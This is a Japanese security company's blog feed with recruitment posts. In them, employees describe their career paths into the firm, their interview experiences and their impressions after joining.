tag:blogger.com,1999:blog-32793820455199817892024-02-19T23:08:31.136+09:00EGセキュアソリューションズオフィシャルブログ<a href="https://www.eg-secure.co.jp/">EGセキュアソリューションズ株式会社</a>の公式ブログです。<br>
[PR]EGセキュアソリューションズ株式会社はエンジニアを<a href="http://www.e-guardian.co.jp/publicrelations/blog/20150601">募集</a>していますockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.comBlogger41125tag:blogger.com,1999:blog-3279382045519981789.post-32845895996371639742020-09-02T11:43:00.001+09:002020-09-02T11:43:44.546+09:00私はこうやってEGSSに潜り込んだ(中途/IT業界未経験編)<p>シリーズ第3弾です。3人目ともなると弊社の採用基準の多様さが徐々に見えてくるかと思います。今回の投稿もそれほど長文というわけではないので、軽い読み物としてお付き合いください。</p><p>本稿の主な目的はセキュリティ業界もしくは弊社への就職、転職をお考え中の方の参考になれば。というものですが、もちろんその他の方にもご意見ご感想いただけますと幸いです。</p><p><br /></p><p>記事では私の経歴に触れた後、転職について、特に面接について述べています。最後に入社後の所感とちょっとした弊社のアピールを入れています。</p><p><br /></p><p><br /></p><p><b>前職まで</b></p><p>一般的な高校を卒業しました。特に理系にも文系にも振っていない普通の高校だったと思います。その後、物流系の会社で何年か(3~4年?)働いていました。実は前職就職時の決め手は特になく、とりあえずやりたいこともないし...といった感じで就職したものでした。ただ、仕事内容は気に入っていましたし、勤務時間や同僚などの職場環境も良かったので、割と前職も多くの方にお勧めできる仕事だったかもしれません。</p><p><br /></p><p><b>転職のきっかけや面接など</b></p><p>そんなわけで特に転職の動機も必要性もなく何年かを過ごしていましたが、比較的時間を持て余していたので、かねてから興味があったプログラミングに手を出してみたり気になる本を読んだりしていました。その中でも、防御と攻撃の共進化の話<a href="#comment1"><span style="font-size: xx-small;">※1</span></a>に惹かれ特にセキュリティの分野に興味を持っていきました。</p><p>転職を考えだしたきっかけには何か明確なものがあったわけではありません。手を動かすうちにそれらの面白さにはまっていき、ふわっとながら徐々にこれらを仕事にしたいという気持ちが高まっていった。というような感じです。</p><p>転職を考え始めた当初は、開発系の企業でWebの技術を学ばせてもらい、そのうちセキュリティ関係の仕事を探そうと考えていました。しかし、応募するのはタダという事、何事も実務で覚えるのが最短ルートだ(技術力の高い環境であればなおよい)と当時考えていた事、等から思い直し「就職活動を始める前にメールだけでも送ってみよう」とEGSSに連絡を取りました。<a href="#comment2"><span style="font-size: xx-small;">※2</span></a></p><p>ちなみに、EGSSに連絡したのは転職を考えた時期に特にお気に入りだった2冊の本<a href="#comment3"><span style="font-size: xx-small;">※3</span></a>の内の1冊が徳丸本だったためです。←今となっては弊社代表の本という立場ですが...</p><p><br /></p><p>さて、ここから本稿の本題に移りますが、正直なところ採用面接において何が決め手となるかはわからないので、以下で面接について私が覚えている限りを述べます。</p><p>・面接の内容</p><p>面接は2回だったと思います。よく覚えていませんが、面談の他、確か1回目に筆記での質問、2回目に実際にPCを使っての質問を受けた気がします。筆記は徳丸本に書いてあるような内容を質問にしたもので、難易度はあまり高くなかったと思います。ここは受験者によって変わるのかもしれません。PCを使う質問でははなぜか徳丸さんが出てきて一緒に診断のさわり的な操作をやりながら質問に答えていくようなものでした。こちらもおそらく受験者によって質問を変えていると思います。間違っていたとしても考えて答えていれば多少は手を差し伸べてくれるのではないでしょうか。</p><p>・面接までにやったこと</p><p>面接に向けて特に何かをやった記憶はありません。スーツを買ったくらいです。</p><p>・面接時のセキュリティに関する理解度</p><p>セキュリティは徳丸本を読みながらであれば内容が何となく(数値化は難しいですが6割くらいでしょうか)理解できる程度であり、徳丸本含め本2~3冊程度の知識だったと思います。</p><p>ただ、それ以外の知識、例えばセキュリティに関する情報がどこから得られるのか、セキュリティ業界にどのような方(企業)がいる(ある)のか等は全然把握していませんでした。少し話題がずれますが、徳丸本を「徳丸本」と呼称していることを入社後に知って少しびっくりした記憶があります...</p><p><br /></p><p>・その他</p><p>前述の様にプログラミングは少しかじった程度でした。入社前はかなり偏ったPCの使い方をしていたため、WordやExcel、コピペのショートカットなどの基本的なPC操作も入社後に覚えたものが多いです。また、英語力については、面接時には全く話題に上がらなかったものの、実務では英語資料に触れることがあります。私の英語は今も中高生レベルで日々Google翻訳に頼りながら仕事していますが、もし堪能であればアピールポイントになるかもしれません。</p><p><br /></p><p><b>入社後</b></p><p>前回、前々回のエントリのお二人同様、私も入社後は様々な業務に携わりました。また、特に技術面では個人で勉強していた時とは比較できないほど多くのことを学べていると思います。</p><p>入社前とのギャップとしては資料作成の時間が多いことでしょうか。業務時間内の割と多くの時間を日本語表現をどうするかに使っている気がします。この辺りは入社面接時にも念押しされるはずです。</p><p><br /></p><p><br /></p><p>最後に、本稿の趣旨から外れますが、就職、転職をお考えの方に私なりの弊社のおすすめポイントを簡単に紹介します。</p><p>まず挙げられるものとして技術力があると考えています。実際のところ、かつて弊社に在籍されていた方や他所から転職されてきた方を見る限り技術力に秀でたセキュリティベンダーは他にもありますし、おそらく私がまだ知らない方々や企業も多いはずです。ただ、弊社は徳丸本著者の会社ですので入社前からある程度の期待を持っていただいてよいと思います。(もちろん、徳丸さん以外にも実績があるメンバーがいます。)</p><p>また、小さい会社なので自由度が高いです。作業内容、事業内容ともにやりたいといえば比較的なんでもやらせてもらえる環境だと感じています。他にも徳丸さん含め社員のメンバーとの距離が近いことや検証用環境が用意されていることなんかもお気に入りのポイントです。</p><p><br /></p><p><a href="https://www.eg-secure.co.jp/recruit/" target="_blank">[PR]EGセキュアソリューションズ株式会社はエンジニアを募集しています</a></p><p><br /></p><p><br /></p><p>社内の環境などについて、○○はどうなっていますか?等のご質問がある場合はコメントをお願いします。答えられる範囲であれば次回以降の方が回答いたします。</p><p><br /></p><p>最後まで読んでいただきありがとうございます。</p><p>シリーズ第4弾にご期待ください。</p><p><br /></p><p><span style="font-size: xx-small;"><a name="comment1">※1</a>「Hacking: 美しき策謀 第2版 ―脆弱性攻撃の理論と実際」です。内容は少し古いです...</span></p><p><span style="font-size: xx-small;"><a name="comment2">※2</a> スケジュールの都合上、実際には別の企業も同時に面接を進めることとなりましたが。</span></p><p><span style="font-size: xx-small;"><a name="comment3">※3</a> もう一冊は「暗号技術入門 第3版」でした。徳丸本が好きな方であればこちらも面白いと思います。</span></p>nthttp://www.blogger.com/profile/05211224136636602003noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-12428509764061526222020-07-22T19:18:00.000+09:002020-07-22T19:18:41.515+09:00私はこうやってEGSSに潜り込んだ 他業種中途編<span id="docs-internal-guid-aac17591-7fff-a4c6-a0c2-79fbbbbeb605"><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">こんにちは、EGセキュアソリューションズ(EGSS)の黒木です。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">前回に引き続き「こうやってEGSSに潜り込んだシリーズ」として他業種から中途入社した私(黒木)の事例を紹介します。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">他業種から来た中途の人ってどういう人なの?というのを知っていただければと思います。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">なお、技術的なお話は一切出てきません。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><h3 style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; padding: 0pt 0pt 2pt; text-align: left;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><font size="5">いままでのキャリア</font></span></h3><div><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">EGSSは私にとって3社目の会社になります。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1社目では、主にISP事業者のお客様拠点で、サーバの運用保守業務に3年近く従事しました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">24時間365日の交代勤務でシステムに異常がないかチェックし、</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">何かあればサーバにログインして障害対応をしたり、場合によってはデータセンターまでタクシーで駆けつけたりもする仕事でした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">千台を優に超えるサーバがあり、毎日どこかのサーバが壊れていたため非常にやりがいがあったように思います。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">余談ですが、この現場では「今日は平和ですね」は帰れなくなるので禁句でした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">2社目は、主に航空会社のお客様拠点で、EOLシステムの更改プロジェクトや、アプリケーションの配布プロジェクトなどで、サーバ系のプロジェクトを推進していく立場として(最初は見習いからですが、)約3年従事しました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">当初は「バージョンをちょっと上げたり、ぱっとソフトを配るだけでは?」と思った時期もあったような気がしますが、当然ながら</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">実際全くそんな事はありませんでした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">考慮しないとならない人的、システム的もしくは技術的条件、万一の時の影響の大きさ等、難度があがる要素が色々あったように思います。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">そして3社目が弊社EGSSなのですが、上記の通りセキュリティそのものを業務上で担当していた時期はありませんでした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ではなぜ、私はセキュリティ会社であるEGSSに転職したのでしょうか?</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><h3 style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; padding: 0pt 0pt 2pt; text-align: left;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><font size="5">セキュリティとの関わり</font></span></h3><div><span style="color: #222222; font-family: arial; white-space: pre-wrap;"><br /></span></div><div><span style="color: #222222; font-family: arial; white-space: pre-wrap;">セキュリティを業務上担当することはなくとも、システム開発、運用でセキュリティに一切関わらないということは無いと思います。</span></div><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">私の場合、2社目でシステム開発に携わった際によく考えることになりました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">どういったセキュリティ施策があるのか、このシステムに適用できる施策はどれか、どこまでするのが妥当なのか、そもそも有効な施策なのだろうか。等。。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">システムそのものと違い、セキュリティ対策は無くともシステムを稼働できてしまうので、なおのこと心配になりました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">何かあってからでは、お客様企業やその先の利用者にご迷惑かかってからでは遅いからです。でも無限に時間もお金もかけられません。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">とはいえ、実のところこれは開発者にとっても管理する側(企業)にとってもよくある心配事ではあるので、</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">開発指針やガイドラインといったもので必要な情報は入手することが容易にできる環境でした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">しかしガイドラインに沿って開発すれば万事解決かというと、必ずしもそうではありません。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">適切な知識がなければガイドラインの意図を読み違える可能性がありますし、</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">せっかくのガイドラインを形骸化させてしまう心配もあるからです。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">色々と悩んだ末、確かな考え方や知識を得るためにも私は学生に戻ることにしました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><h3 style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; padding: 0pt 0pt 2pt; text-align: left;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><font size="5">学生生活とEGSSへの参画</font></span></h3><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">学生に戻ると決めたものの生活はしていかないといけませんので、</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">仕事をしつつ通える東京都立産業技術大学院大学(AIIT)に通うことにしました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">このAIITでシステム開発やセキュリティの勉強をし直すにあたり、手に取った本の1つがいわゆる徳丸本でした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">...はい、私(当時27歳)はここまで徳丸本を知りませんでした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">それまでウェブ周りにあまり関わってこなかった事が大きいと思いたいですが、私が不勉強なだけかもしれません。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ともかく読んでみると、なるほどこうやって上手くセキュリティ上の安全を確保しているのだなと思う反面、</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">正しく知っていないと簡単に穴を開けてしまいかねないと理解できました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">また、とある脆弱性学習用のアプリケーションの中で</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">初めてBlindSQLインジェクションを用いて不正ログインが出来た時の心境は、なんとも不思議なものでした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">悪戦苦闘してようやく上手くできたという達成感とは別に、悪用すればこのようにログインできてしまうのかと戦慄した覚えがあります。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">これはセキュリティの大切さを「知っている」だけでなく「実感」した瞬間だったような気もします。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">こうした取り組みを進めるなかで、</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">やはりシステム開発者やサービス提供者はセキュリティはしっかりと理解していないとならないと再認識しました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">そして、セキュリティという分野が面白い領域だと感じ、出遅れを感じつつもセキュリティ業界に潜り込もうと決意しました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">そして潜り込み先は、そう思うきっかけとなった徳丸本の中の人の会社...EGSSでした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">EGSSへの応募にあたっては、社長がウェブセキュリティ界隈で有名な人であるし、時折SNS等に鋭いコメントをしているのも見ていましたので、きっと面接で詰められるんじゃなかろうか、そもそも書類審査通らないんじゃなかろうかと胃が痛くなる思いでした。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">しかし実際はそんなことはなく、社長直々の実技試験も終始和やかな雰囲気で行われ、無事採用となりました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">私に「EGSSが求人しているからダメもとで受けてみれば?」と、背中を押していただいた研究室の同期に大変感謝しています。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><h3 style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; padding: 0pt 0pt 2pt; text-align: left;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><font size="5">まとめ</font></span></h3><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">他業種からセキュリティ業界に参画するまでの経緯をご紹介しました。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">もしかすると、セキュリティ業界に辿り着くまで少々遠回りしたように思われるかもしれません。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">しかし、私は今思うとそんなこともないかなと考えています。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">システム開発における知見、考え方、システムの難しさや、うっかり陥りがちな事など、これらは中々話して伝わるものでは無いと思います。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">これらを実感として理解していることは、脆弱性診断やセキュリティコンサルティングを行うにあたり大切なポイントであると考えています。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">なぜなら、セキュリティを仕事にする者として大切なことの1つとして、</span><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">「現実的な危険を知らせ、開発者や経営者に正しく理解していただくことで、インターネット環境の安全性向上に寄与し、少しでも被害に遭う利用者を減らす。」というのがあると私は想っており、これらの達成には今までの経験が非常に有益だからです。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"> </p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">という訳ですので、</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; white-space: pre-wrap;">「他業種だけれどセキュリティを仕事にしたいと思っている、けれど経験が無いから躊躇している。」</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">と思っている方もセキュリティ業界でご活躍できる場面は多いと思います。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">他業種のご経験はきっと活きると思いますので、是非一歩踏み出してみていただければと思います。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">また、その際にはEGSSも選択肢に加えていただけると幸いです。</span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="background-color: white; line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #222222; font-family: arial; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><div><span style="background-color: transparent; color: #222222; font-family: arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div></span>kurokihttp://www.blogger.com/profile/08755165436739483235noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-6282157908077333702020-06-03T11:49:00.000+09:002020-06-03T11:49:15.513+09:00私はこうやってEGSSに潜り込んだ 新卒編こんにちは。エンジニアの竹添です。<br />
本日は、新卒でセキュリティエンジニアになった私が、どのような経緯で業界に足を踏み入れ、どのようなお仕事をしているのか、というテーマで記事を書いてみたいと思います。<br />
<br />
セキュリティエンジニアの業界に興味を持っている方に、今後の参考として読んでいただければ幸いです。<br />
<br />
<h3>
自己紹介</h3>
はじめに、私のプロフィールを公開します。<br />
・年齢:25歳(1994年生まれ)<br />
・出身:長崎県<br />
